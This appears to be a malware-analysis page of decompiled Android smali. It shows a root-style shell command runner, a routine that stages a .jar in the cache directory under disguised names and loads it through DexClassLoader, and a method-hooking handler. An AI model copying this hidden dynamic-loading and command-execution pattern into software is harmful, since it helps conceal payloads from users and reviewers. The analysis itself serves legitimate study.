                              84invoke-virtual {v1, v2}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                              85move-result-object v1
                              86iput-object v1, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->exec:Ljava/lang/Process;
                              87new-instance v1, Ljava/io/DataOutputStream;
                              89iget-object v2, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->exec:Ljava/lang/Process;
                              91invoke-virtual {v2}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
                              92move-result-object v2
                              94invoke-direct {v1, v2}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
                              96invoke-virtual {v1, v0}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
                              98invoke-virtual {v1}, Ljava/io/DataOutputStream;->flush()V
                              100invoke-virtual {v1}, Ljava/io/DataOutputStream;->close()V
                              101new-instance v0, Ljava/io/InputStreamReader;
                              103iget-object v1, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->exec:Ljava/lang/Process;
                              105invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                              106move-result-object v1
                              108invoke-direct {v0, v1}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                              109const/16 v1, 0x400
                              110new-array v1, v1, [C
                              111cond_96:
                              112invoke-virtual {v0, v1}, Ljava/io/InputStreamReader;->read([C)I
                              113move-result v2
                              114if-eq v2, v5, :cond_b7
                              116iget-object v3, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->res:Ljava/lang/StringBuilder;
                              117if-eqz v3, :cond_96
                              119iget-object v3, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->res:Ljava/lang/StringBuilder;
                              120const/4 v4, 0x0
                              122invoke-virtual {v3, v1, v4, v2}, Ljava/lang/StringBuilder;->append([CII)Ljava/lang/StringBuilder;
                              123try_end_a6: goto/16 :goto_96
                              124catch_a7: move-exception v0
                              125try_start_a8:
                              126iget-object v0, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->res:Ljava/lang/StringBuilder;
                              127if-eqz v0, :cond_b3
                              129iget-object v0, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->res:Ljava/lang/StringBuilder;
                              131const-string v1, "\nOperation timed-out"
                              133invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              134cond_b3:
                              135invoke-virtual {p0}, Lcom/omg/event/utils/RootContext$ScriptRunner;->destroy()V
                              136goto_b6: return-void
                              137cond_b7: new-instance v0, Ljava/io/InputStreamReader;
                              139iget-object v2, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->exec:Ljava/lang/Process;
                              141invoke-virtual {v2}, Ljava/lang/Process;->getErrorStream()Ljava/io/InputStream;
                              142move-result-object v2
                              144invoke-direct {v0, v2}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                              145goto_c2:
                              146invoke-virtual {v0, v1}, Ljava/io/InputStreamReader;->read([C)I
                              147move-result v2
                              148if-eq v2, v5, :cond_f4
                              150iget-object v3, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->res:Ljava/lang/StringBuilder;
                              151if-eqz v3, :cond_c2
                              153iget-object v3, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->res:Ljava/lang/StringBuilder;
                              154const/4 v4, 0x0
                              156invoke-virtual {v3, v1, v4, v2}, Ljava/lang/StringBuilder;->append([CII)Ljava/lang/StringBuilder;
                              157try_end_d2: goto/16 :goto_c2
                              158catch_d3: move-exception v0
                              159try_start_d4:
                              160iget-object v1, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->res:Ljava/lang/StringBuilder;
                              161if-eqz v1, :cond_f0
                              163iget-object v1, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->res:Ljava/lang/StringBuilder;
                              164new-instance v2, Ljava/lang/StringBuilder;
                              166invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              168const-string v3, "\n"
                              170invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              171move-result-object v2
                              173invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              174move-result-object v0
                              176invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              177move-result-object v0
                              179invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              180cond_f0:
                              181invoke-virtual {p0}, Lcom/omg/event/utils/RootContext$ScriptRunner;->destroy()V
                              182goto/16 :goto_b6
                              183cond_f4:
                              184iget-object v0, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->exec:Ljava/lang/Process;
                              185if-eqz v0, :cond_100
                              187iget-object v0, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->exec:Ljava/lang/Process;
                              189invoke-virtual {v0}, Ljava/lang/Process;->waitFor()I
                              190move-result v0
                              191iput v0, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->exitcode:I
                              192try_end_100:
                              193invoke-virtual {p0}, Lcom/omg/event/utils/RootContext$ScriptRunner;->destroy()V
                              194goto/16 :goto_b6
                              195catchall_104: move-exception v0
                              197invoke-virtual {p0}, Lcom/omg/event/utils/RootContext$ScriptRunner;->destroy()V
                              198throw v0
                              Cross References
                              APIs
                              • android.content.Context.getFilesDir
                              • java.lang.StringBuilder.<init>
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.substring
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.mkdirs
                              • java.io.File.<init>
                              • android.content.Context.getCacheDir
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.<init>
                              • android.os.Build.MANUFACTURER:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.getPath
                              • java.io.File.getPath
                              • java.lang.Object.getClass
                              • java.lang.Class.getClassLoader
                              • dalvik.system.DexClassLoader.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • sdk.nicro.lu.ps.g.<init>
                              • sdk.nicro.lu.ps.g.<init>
                              • java.io.File.getPath
                              • java.io.File.getPath
                              • java.lang.Object.getClass
                              • java.lang.Class.getClassLoader
                              • dalvik.system.DexClassLoader.<init>
                              • sdk.nicro.lu.ps.g.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • sdk.nicro.lu.ps.g.<init>
                              Strings
                              • dexopt
                              • .jar
                              • launch
                              • move
                              • to temp path fail
                              • load apk fail
                              • temp not exists
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0: new-instance v0, Ljava/io/File;
                              3invoke-virtual {p1}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
                              4move-result-object v1
                              5new-instance v2, Ljava/lang/StringBuilder;
                              7invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              9sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              11invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              12move-result-object v2
                              14const-string/jumbo v3, "dexopt"
                              16invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              17move-result-object v2
                              19invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              20move-result-object v2
                              22invoke-static {v2}, Lsdk/nicro/lu/d;->a(Ljava/lang/String;)Ljava/lang/String;
                              23move-result-object v2
                              24const/4 v3, 0x0
                              25const/4 v4, 0x6
                              27invoke-virtual {v2, v3, v4}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              28move-result-object v2
                              30invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              32invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              33move-result v1
                              34if-nez v1, :cond_32
                              36invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
                              37cond_32: new-instance v1, Ljava/io/File;
                              39invoke-virtual {p2}, Lsdk/nicro/lu/ps/h;->c()Ljava/lang/String;
                              40move-result-object v2
                              42invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              43new-instance v2, Ljava/io/File;
                              45invoke-virtual {p1}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
                              46move-result-object v3
                              47new-instance v4, Ljava/lang/StringBuilder;
                              49invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              50new-instance v5, Ljava/lang/StringBuilder;
                              52invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              54sget-object v6, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                              56invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              57move-result-object v5
                              59invoke-virtual {p2}, Lsdk/nicro/lu/ps/h;->a()Ljava/lang/String;
                              60move-result-object v6
                              62invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              63move-result-object v5
                              65invoke-virtual {p2}, Lsdk/nicro/lu/ps/h;->b()I
                              66move-result v6
                              68invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              69move-result-object v5
                              71invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              72move-result-object v5
                              74invoke-static {v5}, Lsdk/nicro/lu/d;->a(Ljava/lang/String;)Ljava/lang/String;
                              75move-result-object v5
                              77invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              78move-result-object v4
                              80const-string/jumbo v5, ".jar"
                              82invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              83move-result-object v4
                              85invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              86move-result-object v4
                              88invoke-direct {v2, v3, v4}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              89try_end_7b:
                              90invoke-static {v1, v2}, Lsdk/nicro/lu/i;->b(Ljava/io/File;Ljava/io/File;)V
                              91try_end_7e: if-eqz v0, :cond_fd
                              92try_start_80:
                              93invoke-virtual {v2}, Ljava/io/File;->exists()Z
                              94move-result v1
                              95if-eqz v1, :cond_fd
                              97const-string/jumbo v1, "launch"
                              99invoke-virtual {p2, v1}, Lsdk/nicro/lu/ps/h;->f(Ljava/lang/String;)Z
                              100move-result v1
                              101if-eqz v1, :cond_db
                              102new-instance v1, Ldalvik/system/DexClassLoader;
                              104invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              105move-result-object v3
                              107invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              108move-result-object v0
                              109const/4 v4, 0x0
                              111invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              112move-result-object v5
                              114invoke-virtual {v5}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              115move-result-object v5
                              117invoke-direct {v1, v3, v0, v4, v5}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              118iput-object v1, p0, Lsdk/nicro/lu/ps/f$d;->f:Ljava/lang/ClassLoader;
                              119goto_a7:
                              120iget-object v0, p0, Lsdk/nicro/lu/ps/f$d;->f:Ljava/lang/ClassLoader;
                              121if-eqz v0, :cond_f4
                              122iput-object p1, p0, Lsdk/nicro/lu/ps/f$d;->e:Landroid/content/Context;
                              123return-object v2
                              124catch_ae: move-exception v0
                              125new-instance v2, Lsdk/nicro/lu/ps/g;
                              126new-instance v3, Ljava/lang/StringBuilder;
                              128invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              130const-string/jumbo v4, "move "
                              132invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              133move-result-object v3
                              135invoke-virtual {v1}, Ljava/io/File;->getPath()Ljava/lang/String;
                              136move-result-object v1
                              138invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              139move-result-object v1
                              141const-string/jumbo v3, " to temp path fail"
                              143invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              144move-result-object v1
                              146invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              147move-result-object v1
                              149invoke-direct {v2, v1, v0}, Lsdk/nicro/lu/ps/g;-><init>(Ljava/lang/String;Ljava/lang/Exception;)V
                              150throw v2
                              151catch_d4: move-exception v0
                              152new-instance v1, Lsdk/nicro/lu/ps/g;
                              154invoke-direct {v1, v0}, Lsdk/nicro/lu/ps/g;-><init>(Ljava/lang/Throwable;)V
                              155throw v1
                              156cond_db: new-instance v1, Ldalvik/system/DexClassLoader;
                              158invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              159move-result-object v3
                              161invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              162move-result-object v0
                              163const/4 v4, 0x0
                              165invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              166move-result-object v5
                              168invoke-virtual {v5}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              169move-result-object v5
                              171invoke-direct {v1, v3, v0, v4, v5}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              172iput-object v1, p0, Lsdk/nicro/lu/ps/f$d;->f:Ljava/lang/ClassLoader;
                              173goto/16 :goto_a7
                              174cond_f4: new-instance v0, Lsdk/nicro/lu/ps/g;
                              176const-string/jumbo v1, "load apk fail"
                              178invoke-direct {v0, v1}, Lsdk/nicro/lu/ps/g;-><init>(Ljava/lang/String;)V
                              179throw v0
                              180cond_fd: new-instance v0, Lsdk/nicro/lu/ps/g;
                              181new-instance v1, Ljava/lang/StringBuilder;
                              183invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              185invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              186move-result-object v1
                              188const-string/jumbo v2, " temp not exists"
                              190invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              191move-result-object v1
                              193invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              194move-result-object v1
                              196invoke-direct {v0, v1}, Lsdk/nicro/lu/ps/g;-><init>(Ljava/lang/String;)V
                              197throw v0
                              APIs
                              • java.lang.reflect.Method.getName
                              • com.lody.virtual.client.hook.base.LogInvocation$Condition.NEVER:Lcom/lody/virtual/client/hook/base/LogInvocation$Condition
                              • com.lody.virtual.client.hook.base.LogInvocation$Condition.NEVER:Lcom/lody/virtual/client/hook/base/LogInvocation$Condition
                              • java.util.Arrays.toString
                              • java.lang.String.length
                              • java.lang.String.substring
                              • com.lody.virtual.client.hook.base.LogInvocation$Condition.getLogLevel
                              • com.lody.virtual.client.hook.base.LogInvocation$Condition.getLogLevel
                              • java.lang.Math.max
                              • java.lang.Throwable.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.reflect.Method.getDeclaringClass
                              • java.lang.Class.getSimpleName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.reflect.Method.getName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.println
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.getReturnType
                              • java.lang.Void.TYPE:Ljava/lang/Class
                              • java.lang.Object.equals
                              • java.lang.String.valueOf
                              • java.lang.reflect.InvocationTargetException.getTargetException
                              • java.lang.reflect.InvocationTargetException.getTargetException
                              • com.lody.virtual.client.hook.base.LogInvocation$Condition.getLogLevel
                              • com.lody.virtual.client.hook.base.LogInvocation$Condition.getLogLevel
                              • java.lang.Math.max
                              • java.lang.Throwable.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.reflect.Method.getDeclaringClass
                              • java.lang.Class.getSimpleName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.reflect.Method.getName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.println
                              • java.lang.reflect.Method.getReturnType
                              • java.lang.Void.TYPE:Ljava/lang/Class
                              • java.lang.Object.equals
                              • java.lang.String.valueOf
                              Strings
                              • .
                              • (
                              • ) =>
                              • void
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v6, 0x0
                              2const/4 v5, 0x0
                              3const/4 v4, 0x1
                              5iget-object v1, p0, Lcom/lody/virtual/client/hook/base/MethodInvocationStub$HookInvocationHandler;->this$0:Lcom/lody/virtual/client/hook/base/MethodInvocationStub;
                              7invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              8move-result-object v2
                              10invoke-virtual {v1, v2}, Lcom/lody/virtual/client/hook/base/MethodInvocationStub;->getMethodProxy(Ljava/lang/String;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              11move-result-object v10
                              12if-eqz v10, :cond_c5
                              14invoke-virtual {v10}, Lcom/lody/virtual/client/hook/base/MethodProxy;->isEnable()Z
                              15move-result v1
                              16if-eqz v1, :cond_c5
                              17move v3, v4
                              18goto_16:
                              19iget-object v1, p0, Lcom/lody/virtual/client/hook/base/MethodInvocationStub$HookInvocationHandler;->this$0:Lcom/lody/virtual/client/hook/base/MethodInvocationStub;
                              21invoke-static {v1}, Lcom/lody/virtual/client/hook/base/MethodInvocationStub;->access$100(Lcom/lody/virtual/client/hook/base/MethodInvocationStub;)Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;
                              22move-result-object v1
                              24sget-object v2, Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;->NEVER:Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;
                              25if-ne v1, v2, :cond_2a
                              26if-eqz v10, :cond_c8
                              28invoke-virtual {v10}, Lcom/lody/virtual/client/hook/base/MethodProxy;->getInvocationLoggingCondition()Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;
                              29move-result-object v1
                              31sget-object v2, Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;->NEVER:Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;
                              32if-eq v1, v2, :cond_c8
                              33cond_2a: move v9, v4
                              34goto_2b: if-eqz v9, :cond_19b
                              36invoke-static {p3}, Ljava/util/Arrays;->toString([Ljava/lang/Object;)Ljava/lang/String;
                              37move-result-object v1
                              39invoke-virtual {v1}, Ljava/lang/String;->length()I
                              40move-result v2
                              41add-int/lit8 v2, v2, -0x1
                              43invoke-virtual {v1, v4, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              44move-result-object v1
                              45move-object v8, v1
                              46goto_3c: if-eqz v3, :cond_cb
                              47try_start_3e:
                              48iget-object v1, p0, Lcom/lody/virtual/client/hook/base/MethodInvocationStub$HookInvocationHandler;->this$0:Lcom/lody/virtual/client/hook/base/MethodInvocationStub;
                              50invoke-static {v1}, Lcom/lody/virtual/client/hook/base/MethodInvocationStub;->access$200(Lcom/lody/virtual/client/hook/base/MethodInvocationStub;)Ljava/lang/Object;
                              51move-result-object v1
                              53invoke-virtual {v10, v1, p2, p3}, Lcom/lody/virtual/client/hook/base/MethodProxy;->beforeCall(Ljava/lang/Object;Ljava/lang/reflect/Method;[Ljava/lang/Object;)Z
                              54move-result v1
                              55if-eqz v1, :cond_cb
                              57iget-object v1, p0, Lcom/lody/virtual/client/hook/base/MethodInvocationStub$HookInvocationHandler;->this$0:Lcom/lody/virtual/client/hook/base/MethodInvocationStub;
                              59invoke-static {v1}, Lcom/lody/virtual/client/hook/base/MethodInvocationStub;->access$200(Lcom/lody/virtual/client/hook/base/MethodInvocationStub;)Ljava/lang/Object;
                              60move-result-object v1
                              62invoke-virtual {v10, v1, p2, p3}, Lcom/lody/virtual/client/hook/base/MethodProxy;->call(Ljava/lang/Object;Ljava/lang/reflect/Method;[Ljava/lang/Object;)Ljava/lang/Object;
                              63try_end_53: move-result-object v1
                              64try_start_54:
                              65iget-object v2, p0, Lcom/lody/virtual/client/hook/base/MethodInvocationStub$HookInvocationHandler;->this$0:Lcom/lody/virtual/client/hook/base/MethodInvocationStub;
                              67invoke-static {v2}, Lcom/lody/virtual/client/hook/base/MethodInvocationStub;->access$200(Lcom/lody/virtual/client/hook/base/MethodInvocationStub;)Ljava/lang/Object;
                              68move-result-object v2
                              70invoke-virtual {v10, v2, p2, p3, v1}, Lcom/lody/virtual/client/hook/base/MethodProxy;->afterCall(Ljava/lang/Object;Ljava/lang/reflect/Method;[Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              71try_end_5d: move-result-object v1
                              72goto_5e: if-eqz v9, :cond_c4
                              74iget-object v2, p0, Lcom/lody/virtual/client/hook/base/MethodInvocationStub$HookInvocationHandler;->this$0:Lcom/lody/virtual/client/hook/base/MethodInvocationStub;
                              76invoke-static {v2}, Lcom/lody/virtual/client/hook/base/MethodInvocationStub;->access$100(Lcom/lody/virtual/client/hook/base/MethodInvocationStub;)Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;
                              77move-result-object v7
                              78if-eqz v6, :cond_d6
                              79move v2, v4
                              80goto_69:
                              81invoke-virtual {v7, v3, v2}, Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;->getLogLevel(ZZ)I
                              82move-result v2
                              83if-eqz v10, :cond_198
                              85invoke-virtual {v10}, Lcom/lody/virtual/client/hook/base/MethodProxy;->getInvocationLoggingCondition()Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;
                              86move-result-object v7
                              87if-eqz v6, :cond_d8
                              88goto_75:
                              89invoke-virtual {v7, v3, v4}, Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;->getLogLevel(ZZ)I
                              90move-result v3
                              92invoke-static {v2, v3}, Ljava/lang/Math;->max(II)I
                              93move-result v2
                              94move v3, v2
                              95goto_7e: if-ltz v3, :cond_c4
                              96if-eqz v6, :cond_da
                              98invoke-virtual {v6}, Ljava/lang/Throwable;->toString()Ljava/lang/String;
                              99move-result-object v2
                              100goto_86:
                              101invoke-static {}, Lcom/lody/virtual/client/hook/base/MethodInvocationStub;->access$300()Ljava/lang/String;
                              102move-result-object v4
                              103new-instance v5, Ljava/lang/StringBuilder;
                              105invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              107invoke-virtual {p2}, Ljava/lang/reflect/Method;->getDeclaringClass()Ljava/lang/Class;
                              108move-result-object v6
                              110invoke-virtual {v6}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
                              111move-result-object v6
                              113invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              114move-result-object v5
                              116const-string v6, "."
                              118invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              119move-result-object v5
                              121invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              122move-result-object v6
                              124invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              125move-result-object v5
                              127const-string v6, "("
                              129invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              130move-result-object v5
                              132invoke-virtual {v5, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              133move-result-object v5
                              135const-string v6, ") => "
                              137invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              138move-result-object v5
                              140invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              141move-result-object v2
                              143invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              144move-result-object v2
                              146invoke-static {v3, v4, v2}, Landroid/util/Log;->println(ILjava/lang/String;Ljava/lang/String;)I
                              147cond_c4: return-object v1
                              148cond_c5: move v3, v5
                              149goto/16 :goto_16
                              150cond_c8: move v9, v5
                              151goto/16 :goto_2b
                              152cond_cb:
                              153iget-object v1, p0, Lcom/lody/virtual/client/hook/base/MethodInvocationStub$HookInvocationHandler;->this$0:Lcom/lody/virtual/client/hook/base/MethodInvocationStub;
                              155invoke-static {v1}, Lcom/lody/virtual/client/hook/base/MethodInvocationStub;->access$200(Lcom/lody/virtual/client/hook/base/MethodInvocationStub;)Ljava/lang/Object;
                              156move-result-object v1
                              158invoke-virtual {p2, v1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              159try_end_d4: move-result-object v1
                              160goto/16 :goto_5e
                              161cond_d6: move v2, v5
                              162goto/16 :goto_69
                              163cond_d8: move v4, v5
                              164goto/16 :goto_75
                              165cond_da:
                              166invoke-virtual {p2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                              167move-result-object v2
                              169sget-object v4, Ljava/lang/Void;->TYPE:Ljava/lang/Class;
                              171invoke-virtual {v2, v4}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                              172move-result v2
                              173if-eqz v2, :cond_e9
                              175const-string v2, "void"
                              176goto/16 :goto_86
                              177cond_e9:
                              178invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                              179move-result-object v2
                              180goto/16 :goto_86
                              181catch_ee: move-exception v2
                              182goto_ef: instance-of v1, v2, Ljava/lang/reflect/InvocationTargetException;
                              183if-eqz v1, :cond_105
                              184move-object v0, v2
                              185check-cast v0, Ljava/lang/reflect/InvocationTargetException;
                              186move-object v1, v0
                              188invoke-virtual {v1}, Ljava/lang/reflect/InvocationTargetException;->getTargetException()Ljava/lang/Throwable;
                              189move-result-object v1
                              190if-eqz v1, :cond_105
                              191move-object v0, v2
                              192check-cast v0, Ljava/lang/reflect/InvocationTargetException;
                              193move-object v1, v0
                              195invoke-virtual {v1}, Ljava/lang/reflect/InvocationTargetException;->getTargetException()Ljava/lang/Throwable;
                              196move-result-object v2
                              197cond_105: throw v2
                              198try_end_106: move-exception v1
                              199move-object v7, v6
                              200move-object v6, v2
                              201move-object v2, v1
                              202goto_10a: if-eqz v9, :cond_170
                              204iget-object v1, p0, Lcom/lody/virtual/client/hook/base/MethodInvocationStub$HookInvocationHandler;->this$0:Lcom/lody/virtual/client/hook/base/MethodInvocationStub;
                              206invoke-static {v1}, Lcom/lody/virtual/client/hook/base/MethodInvocationStub;->access$100(Lcom/lody/virtual/client/hook/base/MethodInvocationStub;)Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;
                              207move-result-object v9
                              208if-eqz v6, :cond_171
                              209move v1, v4
                              210goto_115:
                              211invoke-virtual {v9, v3, v1}, Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;->getLogLevel(ZZ)I
                              212move-result v1
                              213if-eqz v10, :cond_196
                              215invoke-virtual {v10}, Lcom/lody/virtual/client/hook/base/MethodProxy;->getInvocationLoggingCondition()Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;
                              216move-result-object v9
                              217if-eqz v6, :cond_173
                              218goto_121:
                              219invoke-virtual {v9, v3, v4}, Lcom/lody/virtual/client/hook/base/LogInvocation$Condition;->getLogLevel(ZZ)I
                              220move-result v3
                              222invoke-static {v1, v3}, Ljava/lang/Math;->max(II)I
                              223move-result v1
                              224move v3, v1
                              225goto_12a: if-ltz v3, :cond_170
                              226if-eqz v6, :cond_175
                              228invoke-virtual {v6}, Ljava/lang/Throwable;->toString()Ljava/lang/String;
                              229move-result-object v1
                              230goto_132:
                              231invoke-static {}, Lcom/lody/virtual/client/hook/base/MethodInvocationStub;->access$300()Ljava/lang/String;
                              232move-result-object v4
                              233new-instance v5, Ljava/lang/StringBuilder;
                              235invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              237invoke-virtual {p2}, Ljava/lang/reflect/Method;->getDeclaringClass()Ljava/lang/Class;
                              238move-result-object v6
                              240invoke-virtual {v6}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
                              241move-result-object v6
                              243invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              244move-result-object v5
